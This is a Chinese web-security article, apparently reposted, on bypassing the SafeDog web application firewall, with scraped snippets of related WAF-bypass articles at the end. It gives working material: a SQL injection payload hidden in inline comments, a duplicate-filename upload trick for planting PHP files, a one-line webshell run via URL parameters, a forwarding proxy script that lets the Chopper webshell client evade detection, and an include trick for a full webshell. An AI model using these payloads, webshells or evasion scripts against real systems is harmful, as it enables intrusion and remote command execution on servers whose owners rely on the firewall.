全方位绕过安全狗

一、前言

安全狗是一款大家熟悉的服务器安全加固产品,据称已经拥有50W的用户量。最近经过一些研究,发现安全狗的一些防护功能,例如SQL注入、文件上传、防webshell等都可以被绕过,下面为大家一一介绍。

二、测试环境

本次测试环境为

中文版Win2003 SP2+PHP 5.3.28+Mysql 5.1.72

网站安全狗IIS版3.2.08417

三、SQL注入绕过

我们先写一个存在SQL注入漏洞的php:

 1 <?
 2 $uid = $_REQUEST[‘id‘];
 3 if(!$conn = @mysql_connect("localhost", "root", "123456"))
 4 die(‘<font size=+1>An Error Occured</font><hr>unable to connect to the database.‘);
 5 if([email protected]mysql_select_db("supe",$conn))
 6 die("<font size=+1>An Error Occured</font><hr>unable to find it at database on your MySQL server.");
 7 $text = "select * from supe_members where uid=".$uid;
 8 $rs = mysql_query ($text,$conn);
 9 while($rom = mysql_fetch_array($rs))
10 {
11     echo $rom["username"];
12 }
13 ?>

我用的是supesite的库,可以看到这里是有明显SQL注入漏洞的,当没有安全狗的时候可以成功注入:

当安装安全狗之后,注入语句会被拦截:

经过测试发现,安全狗这块的匹配正则应该是\s+and这类的,所以只要想办法去掉空格,用普通注释/**/是不行的,安全狗也防了这块。但是对内联注释/*!and*/这种不知道为什么安全狗没有拦截。

用下面语句成功绕过SQL注入过滤:



http://192.168.200.115/inj.php?id=1/*!and*/1=2/*!union*//*!select*/1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17

有人说只有POST才可以,但是我测试最新版本的安全狗GET注入也是可以用这种方法绕过的。

四、文件上传绕过

安全狗的防上传也是做在WEB层,即分析HTTP协议来防止上传,按照yuange说的安全是一个条件语句,这显然是不符合安全规范的,只检查HTTP并不能保证文件系统层上的问题。

假设有一个上传功能的php:



 1 <?php
 2   if ($_FILES["file"]["error"] > 0)
 3     {
 4 echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
 5     }
 6   else
 7     {
 8 echo "Upload: " . $_FILES["file"]["name"] . "<br />";
 9 echo "Type: " . $_FILES["file"]["type"] . "<br />";
10 echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
11 echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";
12 if (file_exists("upload/" . $_FILES["file"]["name"]))
13       {
14 echo $_FILES["file"]["name"] . " already exists. ";
15       }
16     else
17       {
18 move_uploaded_file($_FILES["file"]["tmp_name"],
19       "upload/" . $_FILES["file"]["name"]);
20 echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
21       }
22     }
23 ?>
24 <html>
25 <body>
26 <form action="upload.php" method="post"
27 enctype="multipart/form-data">
28 <label for="file">Filename:</label>
29 <input type="file" name="file" id="file" />
30 <br />
31 <input type="submit" name="submit" value="Submit" />
32 </form>
33 </body>
34 </html>

然后在安全狗里设置禁止上传.php文件:

然后通过浏览器上传php会被拦截:

我们通过burp把上传的HTTP包抓下来,然后自己进行一下修改POST数据。经过了一些实验,直接说结果吧,当增加一处文件名和内容,让两个文件名不 一致的时候,成功绕过了安全狗的防护,上传了php文件。原因是安全狗进行文件名匹配时候用的是第一个文件名test.jpg,是复合安全要求的,但是 webserver在保存文件的时候却保存了第二个文件名test.php,也就是if(security_check(a)){do(b);},导致安 全检查没有用,php文件已经成功上传了:

这样的上传数据可能是不符合RFC规范的,但是却达到了绕过拦截的目的。结论是每种安全检查一定要在对应的层次做检查,而不能想当然的在WEB层做系统层该做的事情。

五、一句话webshell绕过

对于攻击者来说,安全狗很烦人的一点就是传上去的webshell却不能执行。我们就来看看怎么绕过安全狗对一句话webshell的拦截。

首先要知道安全狗防webshell仍然是依靠文件特征+HTTP来判断,但webshell真正执行是在脚本层,检查的层次不对当然也是可以轻易绕过去的。因为php里面函数名都可以是变量,文件里哪还有特征啊,上传如下php:



1 <?php
2 $_REQUEST[‘a‘]($_REQUEST[‘b‘]);
3 ?>

然后在浏览器里执行:



http://192.168.200.115/small.php?a=system&b=dir

成功执行了系统命令,当然也可以执行php代码:



http://192.168.200.115/small.php?a=assert&b=phpinfo();

六、菜刀绕过

测试发现这种一句话虽然可以成功执行,但是在菜刀里却不能用,而有些人非觉得这样的一句话麻烦,非要用菜刀。经分析安全狗对菜刀的HTTP请求做了拦截, 菜刀的POST数据里面对eval数据做了base64编码,安全狗也就依靠对这些特征来拦截,因此要想正常使用菜刀,必须在本地做一个转发,先把有特征 的数据转换。这个思路类似于对伪静态注入的本地转发。

首先在本地搭建WEB SERVER,然后写一个php转发程序:



 1 <?php
 2 $target="http://192.168.200.115/small.php";//这个就是前面那个一句话的地址
 3 $poststr=‘‘;
 4 $i=0;
 5 foreach($_POST as $k=>$v)
 6 {
 7   if(strstr($v, "base64_decode"))
 8   {
 9     $v=str_replace("base64_decode(","",$v);
10     $v=str_replace("))",")",$v);
11   }
12   else
13   {
14     if($k==="z0")
15       $v=base64_decode($v);
16   }
17   $pp=$k."=".urlencode($v);
18   //echo($pp);
19   if($i!=0)
20   {
21     $poststr=$poststr."&".$pp;
22   }
23   else
24   {
25     $poststr=$pp;
26   }
27   $i=$i+1;
28 }
29 $ch = curl_init();
30 $curl_url = $target."?".$_SERVER[‘QUERY_STRING‘];
31 curl_setopt($ch, CURLOPT_URL, $curl_url);
32 curl_setopt($ch, CURLOPT_POST, 1);
33 curl_setopt($ch, CURLOPT_POSTFIELDS, $poststr);
34 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
35 $result = curl_exec($ch);
36 curl_close($ch);
37 echo $result;
38 ?>

意思就是在本地先对eval数据进行base64解码,然后再POST到目标机器上去。在菜刀里设置URL为本地转发php脚本:

这样就可以使用菜刀来连接前面那个一句话马了:

这样就能用菜刀了,不过大家真的没必要执着于菜刀,向大家推荐一款更好的类似菜刀的工具Altman:

http://www.i0day.com/1725.html

它的最大特点是开源,这意味着像安全狗这种根据特征来拦截的,只要改改源代码把特征字符串改掉,就永远也无法拦截。当然改这个代码要你自己动手喽。

七、webshell大马绕过

一句话功能毕竟有限,想用大马怎么办?仍然是传统的include大法,传一个big.php内容如下:



1 <?php
2 include(‘logo.txt‘);
3 ?>

然后再把大马上传为logo.txt,这样就成功绕过安全狗的拦截执行了webshell:

这样大马也顺利执行了。

八、结束语

上面从SQL注入、上传、webshell等几个方面绕过了安全狗的保护,有些绕过方法安全狗可能早就知道了,但是为什么一直没有补?很可能的原因是怕过 滤太严格影响某些应用,在安全和通用性之间做取舍我认为是可以理解的,但是我觉得这也正是安全研究人员存在的价值所在。

这里发几句题外的牢骚,很多安全公司其实是当作软件公司来做的,做安全软件就是去做开发,而忽视了安全研究的价值。普通的防护方法原理很简单,但想要不影 响应用又保证安全其实很难,如果没有对漏洞和攻击有深入理解的研究人员,安全产品是没法更上一层楼的。希望各个安全公司不要太功利,对研究人员多一些重 视,安全公司真的不能仅仅等同于软件公司啊!

本文出处:http://www.freebuf.com/articles/web/37501.html

时间: 2024-10-10 09:05:24

全方位绕过安全狗的相关文章

从getwebshell到绕过安全狗云锁提权再到利用matasploit进服务器

本文作者:i春秋签约作家--酷帥王子 一. 利用getwebshell篇 首先对目标站进行扫描,发现是asp的,直接扫出网站后台和默认数据库,下载解密登陆如图: 下面进后台发现有fckeditor,而且还是iis6.0的,可以考虑创建个asp目录来构造解析(fck编辑器路径被改成别的需要burpsuite抓包的时候看到) 下面我们构造一个asp目录,如: http://www.xxoo.com/manage/hscxeditor/editor/filemanager/connectors/asp

[WEB]绕过安全狗与360PHP一句话的编写

00x01安全狗的确是让人很头痛,尤其是在上传一句话或者写入一句话的时候,会被安全狗拦截从而拿不下shell.当然,安全狗是最简单的一款waf,很容易就进行一个绕过.00x02对于绕过安全狗跟360,我姿势不多,但是却很实用为以下两种 1.#可变变量2.#引用变量 00x03##可变变量(菜刀可能报错)<@eval($_POST['x'])复制代码 经常使用的人都知道,只是最简单的一句话,不过任何waf与规则我们先来加入需要的函数<?php$a='b';$b=$_POST['x'];@eval

如何绕过安全狗

http://www.jb51.net/hack/192036.html 一.前言 安全狗是一款大家熟悉的服务器安全加固产品,据称已经拥有50W的用户量.最近经过一些研究,发现安全狗的一些防护功能,例如SQL注入.文件上传.防webshell等都可以被绕过,下面为大家一一介绍. 二.测试环境    本次测试环境为 中文版Win2003 SP2+PHP 5.3.28+Mysql 5.1.72 网站安全狗IIS版3.2.08417 三.SQL注入绕过    我们先写一个存在SQL注入漏洞的php:

菜刀绕过安全狗 。 -中国寒龙博客

琴日骚总带领落叶哥哥一起日一站,忽遇一狗,后面跟小骚猪一起砍死了小狗,没技术含量,本来想让骚猪发到乌云上混个ID算,谁知那只猪仔喜欢潜水不要ID,不喜欢冒泡,落叶哥哥就直接发ZONE分享下算了 传左shell上去但系被狗拦左,shell过狗仲系好容易噶,但系过左狗之后狗狗仲系拦菜刀提交的数据包 然后骚总想到了个方法,就系在一句话解密传递的数据 菜刀连接PHP一句话时会自己重新定义一个z0变量来执行PHP代码,我们只要用OD把EVAL POST去掉就得咯,一句话马的密码随便填,不就能过狗狗了吗 一

【干货】记一次WAF对抗赛详解&amp;全方位绕过WAF

0x01 preview 上个星期参加了某巨头厂商承办的挑战赛,比赛周期48小时,题目是成功渗透在安全宝保护下的五个通用cms靶场,其中包括论坛.商城.资源网站等 从靶场布置来看很明显是在测试安全宝对于几种不同类型cms的对攻击的防御能力. 这样的比赛模式区别于常见的CTF线上模式稍有不同,实战味道较强.常规的CTF在Web题目上面主要考察的是漏洞挖掘和利用,难点一般凸显在发现难和利用 难.而此次靶场中的环境在网上都能找到相关公开漏洞,利用方式较简单,但是我对抗的目标不是存在漏洞的web应用,而

sqlmap tamper绕过安全狗

可以过5.3版本 放出py #!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def

那些年我们绕过的waf

### 简单的waf绕过 当我们注入的时候,发现有狗,有waf,真的是我的小心脏都碎掉了!!但是呢,很多时候还是得静下来分析过滤系统到底过滤了哪些参数,该如何绕过.手工测试测试吧!! #### 0x01,测试: 1,id=1空格      测试空格     2,id=1%201=1     测试等号     3,id=1%201=1 select 测试select     4,id=1%201=1 union select 测试union     5,id=1%201=1 union * sel

绕过注入学习笔记

1. 标题 完美绕过安全狗进行SQL注入/可使用sqlmap进行注入 方法 http://www.safedog.cn/?a=/*&ArticleID=17329 union select xxx from  xxx&b=*/ 漏洞地址 https://www.secpulse.com/archives/50053.html 时间 2016-05-29 09:29

上传绕过测试用例

(一)Js客户端认证绕过 Jvascript演示脚本实例 1 <?php 2 /** 3 * Created by 中国联通信息安全中心 4 * Date: 2015-4-18 5 * Name: upload1.php 6 */ 7 //文件上传漏洞演示脚本之js验证 8 $uploaddir = 'uploads/'; 9 if (isset($_POST['submit'])) { 10 if (file_exists($uploaddir)) { 11 if (move_uploaded